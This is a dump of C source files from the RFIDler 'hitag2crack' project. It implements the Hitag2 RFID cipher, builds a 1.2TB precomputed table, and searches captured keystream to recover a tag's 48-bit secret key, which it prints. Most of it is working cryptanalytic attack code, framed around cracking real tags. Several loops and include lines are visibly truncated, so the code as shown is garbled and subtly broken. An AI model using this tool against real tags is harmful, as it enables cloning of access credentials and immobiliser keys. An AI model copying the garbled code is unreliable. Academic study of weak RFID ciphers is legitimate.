lfsr >>= 1;
result = (result << 1) | hitag2_crypt(state);
}
} while (--steps);
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
pstate->shiftreg = state;
pstate->lfsr = lfsr;
return result;
}
// end of crypto core, revert to default optimization level
//#pragma GCC reset_options
/* Test code
Test data and below information about it comes from
http://www.mikrocontroller.net/attachment/102194/hitag2.c
Written by "I.C. Wiener 2006-2007"
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
Random = 65 6E 45 72 - Random IV, transmitted in clear
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
The inverse of the first 4 bytes is sent to the tag to authenticate.
The rest is encrypted by XORing it with the subsequent keystream.
*/
/*
unsigned int hitag2_benchtest_gen32()
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
// init crypto
hitag2_init(&state, key, serial, initvec);
// benchmark: generation of 32 bit stream (excludes initialisation)
GetTimer_us(RESET);
(void) hitag2_nstep(&state, 32);
return GetTimer_us(NO_RESET);
}
unsigned int hitag2_benchtest(uint32_t count)
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
uint32_t i;
// start timer
GetTimer_us(RESET);
// benchmark: initialise crypto & generate 32 bit authentication
// adding i stops gcc optimizer moving init function call out of loop
for (i = 0; i < count; i++) {
hitag2_init(&state, key, serial, initvec + i);
(void) hitag2_nstep(&state, 32);
}
return GetTimer_us(NO_RESET);
}
unsigned hitag2_verifytest()
{
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
// key = 0x4ad292b272f2 after each byte has its bit order reversed
// serial = 0x96eac292 ditto
// initvec = 0x4ea276a6 ditto
const uint64_t key = rev64 (0x524B494D4E4FUL);
const uint32_t serial = rev32 (0x69574349);
const uint32_t initvec = rev32 (0x72456E65);
uint32_t i;
Hitag_State state;
// initialise
hitag2_init(&state, key, serial, initvec);
for (i = 0; i < 16; i++) {
// get 8 bits of keystream
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
uint8_t y = expected[i];
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
if (x != y)
return 0;
}
return 1;
}
*/
#ifdef UNIT_TEST
int main(int argc, char* argv[])
{
unsigned pass = hitag2_verifytest();
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
if (pass) {
hitag2_benchtest(10000);
}
return 0;
}
#endif // UNIT_TEST
================================================
FILE: hitag2crack/crack2/hitagcrypto.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs , Adam Laurie
#ifndef HITAGCRYPTO_H
#define HITAGCRYPTO_H
#include
/*
Our model of Hitag 2 crypto uses 2 parallel shift registers:
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
b. 48 bit Linear Feedback Shift Register (LFSR).
A transform of initial register (a) value, which is then run in parallel.
Enables much faster calculation of the feedback values.
API:
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
uint32_t initvector);
Initialise state from 48 bit shared (secret) reader/tag key,
32 bit tag serial number and 32 bit initialisation vector from reader.
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
update shift register state and generate N cipher bits (N should be <= 32)
*/
typedef struct {
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
uint64_t lfsr; // fast lfsr, used to make software faster
} Hitag_State;
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
unsigned int hitag2_benchtest_gen32();
unsigned int hitag2_benchtest(uint32_t count);
unsigned hitag2_verifytest();
#endif /* HITAGCRYPTO_H */
================================================
FILE: hitag2crack/crack2/ht2crack2buildtable.c
================================================
/*
* ht2crack2buildtable.c
* This builds the 1.2TB table and sorts it.
*/
#include "ht2crack2utils.h"
// DATAMAX is the size of each bucket (bytes). There are 65536 buckets so choose a value such that
// DATAMAX * 65536 < RAM available. For ex, if you want to use 12GB of RAM (for a 16GB machine
// leaving some RAM free for OS and other stuff), DATAMAX = 12GB / 65536 = 196608. Round this down
// to a power of 10; DATAMAX = 196600.
#define DATAMAX 196600 // around 192K rounded down to a power of 10
// NUM_BUILD_THREADS and NUM_SORT_THREADS are the number of threads to run concurrently. These should
// ideally be equal to the number of virtual cores you have available. A quad-core machine will
// likely have 8 virtual cores, so set them to 8.
//
// If sorting fails with a 'bus error' then that is likely because your disk I/O can't keep up with
// the read/write demands of the multi-threaded sorting. In this case, reduce the number of sorting
// threads. This will most likely only be a problem with network disks; SATA should be okay;
// USB2/3 should keep up.
//
// These MUST be a power of 2 for the maths to work - you have been warned!
// Also, sort threads MUST be <= build threads or a horrible buffer overflow will happen!
#define NUM_BUILD_THREADS 8
#define NUM_SORT_THREADS 8
// DATASIZE is the number of bytes in an entry. This is 10; 4 bytes of keystream (2 are in the filepath) +
// 6 bytes of PRNG state.
#define DATASIZE 10
int debug = 0;
// table entry for a bucket
struct table {
char path[32];
pthread_mutex_t mutex;
unsigned char *data;
unsigned char *ptr;
};
// actual table
struct table *t;
// jump table 1
uint64_t d[48];
int nsteps;
// jump table 2
uint64_t d2[48];
int nsteps2;
// create table entry
void create_table(struct table *t, int d1, int d2)
{
if (!t) {
printf("create_table: t is NULL\n");
exit(1);
}
// create some space
t->data = (unsigned char *)malloc(DATAMAX);
if (!(t->data)) {
printf("create_table: cannot malloc data\n");
exit(1);
}
// set data ptr to start of data table
t->ptr = t->data;
// init the mutex
if (pthread_mutex_init(&(t->mutex), NULL)) {
printf("create_table: cannot init mutex\n");
exit(1);
}
// create the path
// sprintf(t->path, "/Volumes/2tb/%02X/%02X.bin", d1 & 0xff, d2 & 0xff);
sprintf(t->path, "table/%02x/%02x.bin", d1 & 0xff, d2 & 0xff);
}
// create all table entries
void create_tables(struct table *t)
{
int i, j;
if (!t) {
printf("create_tables: t is NULL\n");
exit(1);
}
for (i=0; i<0x100; i++) {
for (j=0; j<0x100; j++) {
create_table(t + ((i * 0x100) + j), i, j);
}
}
}
// free the table memory
void free_tables(struct table *t)
{
int i;
struct table *ttmp;
if (!t) {
printf("free_tables: t is NULL\n");
exit(1);
}
for (i=0; i<0x10000; i++) {
ttmp = t + i;
free(ttmp->data);
}
}
// write (partial) table to file
void writetable(struct table *t1)
{
int fd;
if (debug) printf("writetable %s\n", t1->path);
fd = open(t1->path, O_WRONLY | O_CREAT | O_APPEND, 0644);
if (fd <= 0) {
printf("writetable cannot open file %s for appending\n", t1->path);
exit(1);
}
if (debug) printf("writetable %s opened\n", t1->path);
if (write(fd, t1->data, t1->ptr - t1->data) < (t1->ptr - t1->data)) {
printf("writetable cannot write all of the data\n");
exit(1);
}
if (debug) printf("writetable %s written\n", t1->path);
close(fd);
}
// store value in table
void store(unsigned char *data)
{
unsigned char d1, d2;
int offset;
struct table *t1;
// use the first two bytes as an index
d1 = data[0];
d2 = data[1];
offset = (d1 * 0x100) + d2;
if (debug) printf("store, d1=%02X, d2=%02X, offset = %d\n", d1, d2, offset);
// get pointer to table entry
t1 = t + offset;
// wait for a lock on this entry
if (pthread_mutex_lock(&(t1->mutex))) {
printf("store: cannot lock mutex at offset %d\n", offset);
exit(1);
}
if (debug) printf("store, offset = %d, got lock\n", offset);
// store the entry
memcpy(t1->ptr, data+2, 10);
if (debug) printf("store, offset = %d, copied data\n", offset);
// update the ptr
t1->ptr += 10;
// check if table is full
if ((t1->ptr - t1->data) >= DATAMAX) {
// write the table to disk
writetable(t1);
// reset ptr
t1->ptr = t1->data;
}
if (debug) printf("store, offset = %d, after possible write\n", offset);
// release the lock
if (pthread_mutex_unlock(&(t1->mutex))) {
printf("store: cannot unlock mutex at offset %d\n", offset);
exit(1);
}
if (debug) printf("store, offset = %d, unlocked\n", offset);
}
// writes the ks (keystream) and s (state)
void write_ks_s(uint32_t ks1, uint32_t ks2, uint64_t shiftreg)
{
unsigned char buf[16];
// create buffer
writebuf(buf, ks1, 3);
writebuf(buf+3, ks2, 3);
writebuf(buf+6, shiftreg, 6);
// store buffer
store(buf);
}
// builds the di table for jumping
void builddi(int steps, int table)
{
uint64_t statemask;
int i;
Hitag_State mystate;
uint64_t *thisd = NULL;
statemask = 1;
// select jump table
if (table == 1) {
nsteps = steps;
thisd = d;
} else if (table == 2) {
nsteps2 = steps;
thisd = d2;
} else {
printf("builddi: invalid table num\n");
exit(1);
}
// build di states
for (i=0; i<48; i++) {
mystate.shiftreg = statemask;
buildlfsr(&mystate);
hitag2_nstep(&mystate, steps);
thisd[i] = mystate.shiftreg;
statemask = statemask << 1;
}
}
// jump function - quickly jumps a load of steps
void jumpnsteps(Hitag_State *hstate, int table)
{
uint64_t output = 0;
uint64_t bitmask;
int i;
uint64_t *thisd = NULL;
// select jump table
if (table == 1) {
thisd = d;
} else if (table == 2) {
thisd = d2;
} else {
printf("jumpnsteps: invalid table num\n");
exit(1);
}
// xor all di.si where di is a d state and si is a bit
// we do this by multiplying di by si:
// if si is 1, di.si = di; if si is 0, di.si = 0
bitmask = 1;
for (i=0; i<48; i++) {
if (hstate->shiftreg & bitmask) {
output = output ^ thisd[i];
}
bitmask = bitmask << 1;
}
hstate->shiftreg = output;
buildlfsr(hstate);
}
// thread to build a part of the table
void *buildtable(void *d)
{
Hitag_State hstate;
Hitag_State hstate2;
unsigned long i;
unsigned long maxentries = 1;
uint32_t ks1;
uint32_t ks2;
int index = (int)(long)d;
int tnum = NUM_BUILD_THREADS;
/* set random state */
hstate.shiftreg = 0x123456789abc;
buildlfsr(&hstate);
/* jump to offset using jump table 2 (2048) */
for (i=0; i> 1;
tnum = tnum >> 1;
}
/* make the entries */
for (i=0; iptr > t1->data) {
writetable(t1);
}
}
// dump the memory
free_tables(t);
free(t);
// now for the sorting
// start the threads
for (i=0; i 32)) {
printf("makerandom: len must be between 1 and 32 inclusive\n");
exit(1);
}
if (read(fd, raw, len) != len) {
printf("makerandom: cannot read random bytes\n");
exit(1);
}
for (i=0; ilen = filestat.st_size / 2;
// printf("r->len = %d\n", r->len);
r->data = (unsigned char *)malloc(r->len);
if (!(r->data)) {
printf("cannot malloc\n");
exit(1);
}
j = 0;
nibble = 0;
for (i=0; (ilen); i++) {
if ((data[i] != 0x0a) && (data[i] != 0x0d) && (data[i] != 0x20)) {
if (!nibble) {
r->data[j] = hex2bin(data[i]) << 4;
nibble = 1;
} else {
r->data[j] |= hex2bin(data[i]);
nibble = 0;
j++;
}
}
}
r->len = j;
munmap(data, filestat.st_size);
close(fd);
return 1;
}
int makecand(unsigned char *c, struct rngdata *r, int bitoffset)
{
int bytenum;
int bitnum;
int i;
if (!c || !r || (bitoffset > ((r->len * 8) - 48))) {
printf("makecand: invalid params\n");
return 0;
}
bytenum = bitoffset / 8;
bitnum = bitoffset % 8;
for (i=0; i<6; i++) {
if (!bitnum) {
c[i] = r->data[bytenum + i];
} else {
c[i] = (r->data[bytenum + i] << bitnum) | (r->data[bytenum + i + 1] >> (8 - bitnum));
}
}
return 1;
}
// test the candidate against the next or previous rng data
int testcand(unsigned char *f, unsigned char *rt, int fwd)
{
Hitag_State hstate;
int i;
uint32_t ks1;
uint32_t ks2;
unsigned char buf[6];
// build the prng state at the candidate
hstate.shiftreg = 0;
for (i=0; i<6; i++) {
hstate.shiftreg = (hstate.shiftreg << 8) | f[i+4];
}
buildlfsr(&hstate);
if (fwd) {
// roll forwards 48 bits
hitag2_nstep(&hstate, 48);
} else {
// roll backwards 48 bits
rollback(&hstate, 48);
buildlfsr(&hstate);
}
// get 48 bits of RNG from the rolled to state
ks1 = hitag2_nstep(&hstate, 24);
ks2 = hitag2_nstep(&hstate, 24);
writebuf(buf, ks1, 3);
writebuf(buf+3, ks2, 3);
// compare them
if (!memcmp(buf, rt, 6)) {
return 1;
} else {
return 0;
}
}
int searchcand(unsigned char *c, unsigned char *rt, int fwd, unsigned char *m, unsigned char *s)
{
int fd;
struct stat filestat;
char file[64];
unsigned char *data;
unsigned char item[10];
unsigned char *found = NULL;
if (!c || !rt || !m || !s) {
printf("searchcand: invalid params\n");
return 0;
}
sprintf(file, INPUTFILE, c[0], c[1]);
fd = open(file, O_RDONLY);
if (fd <= 0) {
printf("cannot open table file %s\n", file);
exit(1);
}
if (fstat(fd, &filestat)) {
printf("cannot stat file %s\n", file);
exit(1);
}
data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (data == MAP_FAILED) {
printf("cannot mmap file %s\n", file);
exit(1);
}
memcpy(item, c+2, 4);
found = (unsigned char *)bsearch(item, data, filestat.st_size / DATASIZE, DATASIZE, datacmp);
if (found) {
// our candidate is in the table
// go backwards and see if there are other matches
while (((found - data) >= DATASIZE) && (!memcmp(found - DATASIZE, item, 4))) {
found = found - DATASIZE;
}
// now test all matches
while (((found - data) <= (filestat.st_size - DATASIZE)) && (!memcmp(found, item, 4))) {
if (testcand(found, rt, fwd)) {
memcpy(m, c, 2);
memcpy(m+2, found, 4);
memcpy(s, found+4, 6);
munmap(data, filestat.st_size);
close(fd);
return 1;
}
found = found + DATASIZE;
}
}
munmap(data, filestat.st_size);
close(fd);
return 0;
}
int findmatch(struct rngdata *r, unsigned char *outmatch, unsigned char *outstate, int *bitoffset)
{
int i;
int bitlen;
unsigned char cand[6];
unsigned char rngtest[6];
int fwd;
if (!r || !outmatch || !outstate || !bitoffset) {
printf("findmatch: invalid params\n");
return 0;
}
bitlen = r->len * 8;
for (i=0; i<=bitlen - 48; i++) {
// print progress
if ((i % 100) == 0) {
printf("searching on bit %d\n", i);
}
if (!makecand(cand, r, i)) {
printf("cannot makecand, %d\n", i);
return 0;
}
// printf("cand: %02x %02x %02x %02x %02x %02x : ", cand[0], cand[1], cand[2], cand[3], cand[4], cand[5]);
// printbin(cand);
/* make following or preceding RNG test data to confirm match */
if (i < (bitlen - 96)) {
if (!makecand(rngtest, r, i + 48)) {
printf("cannot makecand rngtest %d + 48\n", i);
return 0;
}
fwd = 1;
} else {
if (!makecand(rngtest, r, i - 48)) {
printf("cannot makecand rngtest %d - 48\n", i);
return 0;
}
fwd = 0;
}
if (searchcand(cand, rngtest, fwd, outmatch, outstate)) {
*bitoffset = i;
return 1;
}
}
return 0;
}
void rollbackrng(Hitag_State *hstate, unsigned char *s, int offset)
{
int i;
if (!s) {
printf("rollbackrng: invalid params\n");
return;
}
// build prng at recovered offset
hstate->shiftreg = 0;
for (i=0; i<6; i++) {
hstate->shiftreg = (hstate->shiftreg << 8) | s[i];
}
printf("recovered prng state at offset %d:\n", offset);
printstate(hstate);
// rollback to state after auth
rollback(hstate, offset);
// rollback through auth (aR, p3)
rollback(hstate, 64);
printf("prng state after initialisation:\n");
printstate(hstate);
}
uint64_t recoverkey(Hitag_State *hstate, char *uidstr, char *nRstr)
{
uint64_t key;
uint64_t keyupper;
uint32_t uid;
uint32_t uidtmp;
uint32_t nRenc;
uint32_t nR;
uint32_t nRxork;
uint32_t b = 0;
int i;
// key lower 16 bits are lower 16 bits of prng state
key = hstate->shiftreg & 0xffff;
nRxork = (hstate->shiftreg >> 16) & 0xffffffff;
uid = rev32(hexreversetoulong(uidstr));
nRenc = rev32(hexreversetoulong(nRstr));
uidtmp = uid;
// rollback and extract bits b
for (i=0; i<32; i++) {
hstate->shiftreg = ((hstate->shiftreg) << 1) | ((uidtmp >> 31) & 0x1);
uidtmp = uidtmp << 1;
b = (b << 1) | fnf(hstate->shiftreg);
}
printf("end state:\n");
printstate(hstate);
printf("b:\t\t");
printbin2(b, 32);
printf("\n");
printf("nRenc:\t\t");
printbin2(nRenc, 32);
printf("\n");
nR = nRenc ^ b;
printf("nR:\t\t");
printbin2(nR, 32);
printf("\n");
keyupper = nRxork ^ nR;
key = key | (keyupper << 16);
printf("key:\t\t");
printbin2(key, 48);
printf("\n");
return key;
}
int main(int argc, char *argv[])
{
Hitag_State hstate;
struct rngdata rng;
int bitoffset = 0;
unsigned char rngmatch[6];
unsigned char rngstate[6];
char *uidstr;
char *nRstr;
uint64_t keyrev;
uint64_t key;
int i;
if (argc < 4) {
printf("ht2crack2search rngdatafile UID nR\n");
exit(1);
}
if (!loadrngdata(&rng, argv[1])) {
printf("loadrngdata failed\n");
exit(1);
}
if (!strncmp(argv[2], "0x", 2)) {
uidstr = argv[2] + 2;
} else {
uidstr = argv[2];
}
if (!strncmp(argv[3], "0x", 2)) {
nRstr = argv[3] + 2;
} else {
nRstr = argv[3];
}
if (!findmatch(&rng, rngmatch, rngstate, &bitoffset)) {
printf("couldn't find a match\n");
exit(1);
}
printf("found match:\n");
printf("rngmatch = %02x %02x %02x %02x %02x %02x\n", rngmatch[0], rngmatch[1], rngmatch[2], rngmatch[3], rngmatch[4], rngmatch[5]);
printf("rngstate = %02x %02x %02x %02x %02x %02x\n", rngstate[0], rngstate[1], rngstate[2], rngstate[3], rngstate[4], rngstate[5]);
printf("bitoffset = %d\n", bitoffset);
rollbackrng(&hstate, rngstate, bitoffset);
keyrev = recoverkey(&hstate, uidstr, nRstr);
key = rev64(keyrev);
printf("keyrev:\t\t");
printbin2(key, 48);
printf("\n");
printf("KEY:\t\t");
for (i=0; i<6; i++) {
printf("%02X", (int)(key & 0xff));
key = key >> 8;
}
printf("\n");
return 0;
}
================================================
FILE: hitag2crack/crack2/ht2crack2utils.c
================================================
#include "ht2crack2utils.h"
// writes a value into a buffer as a series of bytes
void writebuf(unsigned char *buf, uint64_t val, unsigned int len)
{
int i;
char c;
for (i=len-1; i>=0; i--)
{
c = val & 0xff;
buf[i] = c;
val = val >> 8;
}
}
/* simple hexdump for testing purposes */
void shexdump(unsigned char *data, int data_len)
{
int i;
if (!data || (data_len <= 0)) {
printf("shexdump: invalid parameters\n");
return;
}
printf("Hexdump from %p:\n", data);
for (i=0; i> 7);
x = x << 1;
}
}
printf("\n");
}
void printbin2(uint64_t val, unsigned int size)
{
int i;
uint64_t mask = 1;
mask = mask << (size - 1);
for (i=0; ishiftreg, 48);
printf("\n");
}
// convert hex char to binary
unsigned char hex2bin(unsigned char c)
{
if ((c >= '0') && (c <= '9')) {
return (c - '0');
} else if ((c >= 'a') && (c <= 'f')) {
return (c - 'a' + 10);
} else if ((c >= 'A') && (c <= 'F')) {
return (c - 'A' + 10);
} else {
return 0;
}
}
// return a single bit from a value
int bitn(uint64_t x, int bit)
{
uint64_t bitmask = 1;
bitmask = bitmask << bit;
if (x & bitmask) {
return 1;
} else {
return 0;
}
}
// the sub-function R that rollback depends upon
int fnR(uint64_t x)
{
// renumbered bits because my state is 0-47, not 1-48
return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^
bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^
bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47));
}
// the rollback function that lets us go backwards in time
void rollback(Hitag_State *hstate, unsigned int steps)
{
int i;
for (i=0; ishiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg);
}
}
// the three filter sub-functions that feed fnf
int fa(unsigned int i)
{
return bitn(0x2C79, i);
}
int fb(unsigned int i)
{
return bitn(0x6671, i);
}
int fc(unsigned int i)
{
return bitn(0x7907287B, i);
}
// the filter function that generates a bit of output from the prng state
int fnf(uint64_t s)
{
unsigned int x1, x2, x3, x4, x5, x6;
x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3);
x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3);
x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3);
x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3);
x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3);
x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4);
return fc(x6);
}
// builds the lfsr for the prng (quick calcs for hitag2_nstep())
void buildlfsr(Hitag_State *hstate)
{
uint64_t state = hstate->shiftreg;
uint64_t temp;
temp = state ^ (state >> 1);
hstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}
================================================
FILE: hitag2crack/crack2/ht2crack2utils.h
================================================
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "HardwareProfile.h"
#include "rfidler.h"
#include "util.h"
#include "hitagcrypto.h"
#define HEX_PER_ROW 16
void writebuf(unsigned char *buf, uint64_t val, unsigned int len);
void shexdump(unsigned char *data, int data_len);
void printbin(unsigned char *c);
void printbin2(uint64_t val, unsigned int size);
void printstate(Hitag_State *hstate);
unsigned char hex2bin(unsigned char c);
int bitn(uint64_t x, int bit);
int fnR(uint64_t x);
void rollback(Hitag_State *hstate, unsigned int steps);
int fa(unsigned int i);
int fb(unsigned int i);
int fc(unsigned int i);
int fnf(uint64_t s);
void buildlfsr(Hitag_State *hstate);
================================================
FILE: hitag2crack/crack2/rfidler.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
